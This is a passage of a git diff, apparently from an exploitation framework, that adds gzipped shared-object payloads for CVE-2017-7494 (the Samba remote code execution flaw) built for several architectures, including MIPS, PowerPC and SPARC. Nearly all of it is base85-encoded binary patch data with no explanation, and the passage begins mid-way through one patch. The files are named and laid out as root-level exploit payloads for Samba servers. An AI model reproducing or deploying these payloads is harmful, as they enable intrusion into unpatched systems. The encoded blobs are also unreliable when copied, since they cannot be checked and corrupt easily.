z$Bv*jT@+A=@pv8Pw<)TTfd&ouBOPAdHP(QYq)5Z(*%BT4^(*3BC$V_FGbeV~TqLwM-QOXyzR1{A@(L^Pa zReLikMAg~6lFK9^I<1ta4H08gu9d(rej-&WqrXj%@meXBC3X-sii#S;qzQ3lCorAS z_GoHaHWnO2jYWd7DSJGLF^rB!(*^V_)9<7uQCz;cR34Q@l@+0AS}BvLXxO&@1$_)Z z58!Qx-=^K(2f>MNU#>@Ag83%?#wC6pa@! hjYZ!7aM0oY+2)de`SX;2&bN8~{{m0|qAyTM004&Ki$wqc literal 0 HcmV?d00001 diff --git a/data/exploits/CVE-2017-7494/samba-root-system-mipsel.so.gz b/data/exploits/CVE-2017-7494/samba-root-system-mipsel.so.gz new file mode 100755 index 0000000000000000000000000000000000000000..31e6bae94b02a9391872d5d4640627f3528201eb GIT binary patch literal 2598 zcmV+>3fc7^iwFn__bFKd19M?*VqqfC8Y%X(e0PS2|Y!ufO zJ~O+vF>%-dJC2i(bV=6OX<@o1#tRi{Y_Dw!vcUx-1vS-p*1NVh-M{Y4Ms}s9TcB-H zSuAa%C{d#pp;XF4!G=E2N=-wn^e3rQnl4V*Bdj08I)gy%5HpZg>bDKpQCR zLL*x`fJqQ#9dlC{$NRR3{Uo($49a>Y4VETZ{ntVyk|lFp0MDZ|@_rfrU65+B3`~N8 z%t|$h0290K(7R?*^xuZ}+HRAZ7eVJr1}s}co&F1J23?e_acx$80rnm^0@oh@@am)g zJoCq$Z)SGo%h8v=r=NU~V!wsbf^r=_-;M31W)?Fev-%W*tPTn~T2DT4&|Rc+-%3n^ zjZ_ab-o)>>@^wMe0>!|t0@V=x6evCPQy^bBuFwwFxWWT$T!C`=uv*P8;h-wEH2yla zCmP@rgYs(U*A#C9pDXbEnw>q!=G4S;wCZMu+vM?iPn{UR=gn4$fod6Ytsg_{$H@D7 zgPqr1@ONyJF^R{x2R_5sh~>5c{$_R9{jKmndX^mfcKEkzd^@YhMTzHfqk5S?d#t|& z-uKx565GpItWhgoi#1O>zfG9mfRJ|>^nX2zT&Y5O`FN)bDCl5MN`v2OXt!iXfp*ZnKlZbO`{IlzKJm{ znJT7c(uSETPK?Df`CMv3Ph?W8uYQj1A z=-GsBh1Rn9WC;gP&FZ3s2PV9cX~ELgT|7$1>IC#F;*ul8Zm zW@-*6F`d*+9kdi{w1i=>X<`pvV@ECtdq?*T#oO%*J`)XIT=OlhA1=yK` z@|Li_m2~=Ut50J0Hd(q1>pchAB<>;RVe=m4{L5WimR|}iS6}N=;Ma?r;q}Gw^07(~ z`jyUgVHhvJRB65$4$w88CPCoit}M~Gp9Z?If2C=6SC;pokBVrwB-n+UcXyo=>@Zek z9V`dJ@LHE`UtVJQY%ZUubYLDz>_j90gONv+Av^;Hw>3b2+Y{(30O3}4R)hnrT@Khj z_SEq~zdLk^?${N2IV@>#o9$17LRU$rVn z$WH|Q+I!(zXnvsy9&W8xH%6|73K8T+#X2v=B&E~@pX#C!I{0rgkBZ*SZEQNQfy=ruOU&+#Xp6TgR zqrGa+qwIcoN3^Fe+85nz`?|C${HVmmHlHY}wJ*Tdl~u zvg+Ds>n*N22P}41jfWMmm}LMh>uo(`wbw#6r-rd-RvewN##SAjv&n#RQfq5g61aGRKbG7)yR(v;hxc1m@1lvS(=_!r$E!<69*4z zqx%j|5aUl9a%ubHj#8uiX=YZNB5I$37RkIelgTIajFvR>MMKj|b1;?97BVR_l~nt7 z^+tg@v~+Tgv>h;A)UzoqS;}VT?cl=)hOB5KhX%%m9gSk!*R?29P85sqx1AV)+Zhj# zW;3>L{IGU-;>h4(XEKftBd^Wsxg@a>hmIZ?7~2=eyAxw^+hXtN!NGx1?cm7B;o%8w zVqkD|SR?kMhrHO|Ut;UBk6x1jUa>ezd8Q7HiQ(X0*AQM2~bu z<21-Ryh~1iye)NeExVHOLP0g=v! z^XKB`FY~ds9mPHfjLR+a?+21sz~=VXIQmC`almE%T|qJ_)p7{}BvC#ONto}qf$`O4{@p^Nc;-R#{XQSp$iHVu z7V6aRlwe2avUN5GYIZi?_XW|enMr>ge`f?cdM}ZT*0Fn)+sXWWO%kkQcL8cFWcIrW z&Tl=q?0zNK(f7&9ZR{=ycJy7a8mb@n_kx}EzQjT(U2E&|=bD{D?{x(~c*enPM?T*c z?C5)8GFCtCU-|k4_;*nlxU$_6DypQ|OzJJ9N z*Y+lY2cow7 I2v|e_05Z%(XaE2J literal 0 HcmV?d00001 diff --git a/data/exploits/CVE-2017-7494/samba-root-system-powerpc.so.gz b/data/exploits/CVE-2017-7494/samba-root-system-powerpc.so.gz new file mode 100755 index 0000000000000000000000000000000000000000..188e5de0674cf0f418376312c11fb6c98d5530aa GIT binary patch literal 2902 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 WxGza6i0$Suc1>XzK5s2|{q%2Z(BxzQ literal 0 HcmV?d00001 diff --git a/data/exploits/CVE-2017-7494/samba-root-system-powerpc64.so.gz b/data/exploits/CVE-2017-7494/samba-root-system-powerpc64.so.gz new file mode 100755 index 0000000000000000000000000000000000000000..35a4b2c9995d8965bdb92d15bfdf7d8fbf7f2b3f GIT binary patch literal 3064 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 literal 0 HcmV?d00001 diff --git a/data/exploits/CVE-2017-7494/samba-root-system-sparc.so.gz b/data/exploits/CVE-2017-7494/samba-root-system-sparc.so.gz new file mode 100755 index 0000000000000000000000000000000000000000..90216039078f321bbfc4e04b529433c976ac3570 GIT binary patch literal 2399 zcma)&YdjMQ1BZo@CRJ^+NV6_&y^HT`oP144wQm@%9u}ZIiKPCV8 z#>;Q_N)G&ZaNzk_V?}tR(PR6d8}Ux^e3B10qFvJhsis`ow9C;m7sl^Rd3;XNuKQ z&@^VgyzLs42Km+O!^f<{y|bw|n-&g%At!H(?8{s9Q>^+d)~EJl(&^cWmBCb@(iHH7 zx9VJqQYa(>zb3HUrQG1e>f<=S;d#Dl`~Js;yXxD5Q4v5@TXez#$ceRfL$!ng+S@hw@W@WGG(lMqt-Ru=_aaW(X*2NXZO_4J2C3qNNa{boz&hEZTVP`i;}qjlzGER%PY!ve`|I5>`tg zLD2@c9qq!-&w)eh^O5aw#EaN_pxeT;jMmI~nc?RAJEJ-IMl<=YsuNV5^K+;Obs{AN z24AWW>)u|=(C4-&-O&tQbh<{f_pYwX7jGB8V&;Za!FqmOi>V~~AMB4H(o01knlB=q zC^3$QfdKee29$q=ChjacD=G+SaP7x%?i~C!o|B@kQkew_xe3n_k2T7=DgTyUd_i=zbU5# zRd?=oT>86C$B*B%8m}xr3oU@p2Cil8|e9tmm?zsdzCy6r0Z-Q zXumMS1fdX1_CetLgD+Mg@A#X0JASg?_qBJC(eRh$mgk|5jd!GB8$ayrGzUkZl9Np~ z&X@Ap`wdI4mUB8$V@Ef)o z=vLY6PQ8jDJ|pSy{~}GK`&FJ%*ePTezifq<@%yV2WYwuUNF7;AtLv~Uwo)$XxQRGLQ9u@BKo)TuS)R-ZjU2qiAl&$No^h&{?ie-NM_ zU&4uML1OZm|Auj7ox9 zAo`->eAX7ov9<9xZ27TxsA3|6!_`C4_){geAR27L`b^Drt<24ho?U1zb3}2VzMIir z;k&xsnwiC>vNAk7)P*-dppBZa83mp^k4+8CU}`fiT*CeRlxK{@t*T!eHt3e%;HxNSCz&p_w`bq&X+qi@CFq1DFOG@ znh2;Qq?(WQF61(Hs2gxMz|yA8M3|`p89XV<)4;iBiQ?_|VbR>WUdDxWE1+=tr@hae zqO&Z>V))BX2wSQ&Io&kR(*{?23hjII9rEuE&=VTjC9p_7Ei_PxU)Ww- z`=c!4dmpafU-u2KxMf3Ay(#BJWiLUep6j#LUmP^csDKN=5{?T&C%6g?f#Nm% zpvL+6mGa!@lRo_m25+6lVi|`Yq0PRnXkgcoKi7ewi4VE}M+%k4!AlDF!j7)-F(96`BeUAhfkjwbM|C}n{1GMQx7X_v%Edn0|E{Yos9 z%YRME#AI{fT{`zOUjyX#ESO)q-8VWGM!PNM(HL+$B4y*Q><*AV$ki*C3o;r;={}(x zK6-!S`2iO`nb{w<824xI6ZiYoP{m4x1NbK*I6+JF7=FO4ZY2YFMg9&3S^Wn-~Cv=6EYDeGS`nc92OsHtbNyI4< KT4X%M#Qp=lo6ctd literal 0 HcmV?d00001 diff --git a/data/exploits/CVE-2017-7494/samba-root-system-sparc64.so.gz b/data/exploits/CVE-2017-7494/samba-root-system-sparc64.so.gz new file mode 100755 index 0000000000000000000000000000000000000000..a5211d71ef6d0c83c9dca00d5b63933a7810060b GIT binary patch literal 2495 zcma*XX*?5*;{b4!kz}4CAx6#~cgq#SQ;tHe;IeI_r(`fC@wC+y67u%EG0A^8mgC^kdUgEaz7^g zF*G^M7nx2slez<( zX?UmZAEQyNQtf9!gAUIR<6Z%>Gr7@`*f}@J%4y-ibp_E{7>I`#RszshhTry#=4J{p zT6r6O*mC=Yl8j!k>wYn`U&v}8e>e{jOhkNIFO*!d)1 zk6X7GU=a18Pi#Qg&-A!Ltp?pu?T10CLKo^k%aDur46jnOwJ?iK`6FdfnHds`1s0-z z&#MrQucZ@!@X3(bLrMgOprn?)rdf5sJrbLqZ`?d{Aq6O(Kj7p&Fb6uaUvi>yp?8n| zaT*Im^H~`vBz@=F!FAvL?ICX+;_SlkYw4+*N3DgD0Af1DNQM6`4+lA%EyTT#OE9(R zpSs&V(`ajN_u)@c>xPl1XG*fn-ot1#Z+t@EgtIIc^RUslgCKHN zmnscmlsYZbE`str{o~<96L@o%H+(DTV;~+pIwjB;-aD|Sg<*b#MdE-0$Y=ijk&-th zCKLBmFME#{HbA2yj;UrPld6QrbzOuM(C6(ooz20|o6f!1U5&bclLJ4Ub+!sC%Xe~% z2~v}2Lu@O24nj!Y9EauidNqds{_=0V)ik|Rzx##SgZ*tqA%Ub1jaaX$QI%^B5rL*| z?N2V|_!79<4Z0zsq9I?~KQ`D}nLhQ<>6ty|rr9j7a2NI31Amm$2vv|QlB{uk`E={X zA{r$vxU~TmV^pP$A%jE51{MNZ9*@kYqj$9{L1G&z)qf)}mDXo5i0@UV3nD&07#jsn7?TD;fwc#8*3YKYQ_NlCnBwQuT3T_Qsdx6g zh?V2CdL`=UpqW{m6>=usGdy0PnACbszf-HOvIaX)Kc(*W%;qo25X+f1sb)E!ve#72 z&BxxIA58h#6j1!bX_0n#nD6*;#;3&qY&8kSW3-QdO-QoPn=#TGWz2qY9G+-gb34`Y zXUtN>UvWW2LxWw6%q4a4Tks1XmFv%%#Z;#%YU0S98FpC*DscnK&Uj*eBx79h|_M*G~7@4Joj2({ySziFGe{X*cqE_jQ)v2C#4N z2!u&#tb7gh?RfBZvrjc-#0@lbT~X&Z8}3&}ju4uDGke`=m^Qp7_Cnd+oG~ZUp_=jcbD>SY;4u%tGuCj@_eh!78f%--LLYL|?BM zy`L>xv5h~?35da!&8**}e}7h%7toez)npruMx!2>Mmvs)3R~b#l=qd?Iisr`T2n&O zw+E#9ck0QhJ#04vGG#Bm%XaVm;en$Iik!X=<5_zWtAEgXgA>sQ7KdlaeJ3rI_%@+6 zl}=pT1Fer9&NzW@>VfT;j8_tyc4{QHi)(snq%)Bn%U_dT-1Sy0bx30C^(E&riJK*O zBGUZj>Hmdb`kb@6l>(#p$}K&Gsi;nvVZKac<@dW zI0Tg(IjjS<J)KpX_M9dDjm4PlX}Md1^3~=eTO)t zleJWu37qj8X;0OX7u2P(vDCbi%Q$p2=_}s7rOekKiG(2j+|>XYJc^YG!9TCs$(J8n z79l};wfVp$*2!EYz#lx22ofm6>O5A!nL9z^F}%(T_LMBhOxHvNdZp8hf8qOr!KGk~ zxz&yPm#lxBhb*m|LxL9%pPM7UEoCsiJwV+}=F6`i-quE2$6E2bN$s55MbyPZ>trqt zK^L~-2FosS^Q2pkTJDPilU6EM?_DBhvjOjwAY4Rl!SJ$K;LquQOZc~%e+&M<9Btw-$(=JUYh6I9RuQE>AbQVN z>mifk5m5*AjEtO;vC%d%H+f*6i*tT*J*a_N_P+cr*u~i(T*j^7uQd`Z=rg*_hg&lUFK6X<$F)l4Xg>H+x21nK2^z9;q_lZb@@HDMt&l}1iFe7u`(pH(OvUKAhSIC{9exN;at$B~0o64c zN2Ni9Slg4sM*y+$a4Ne*cup9*mTKqV+gz@xI&y?D*ncdgWoThu5n>E*82Ze5{1Sgs 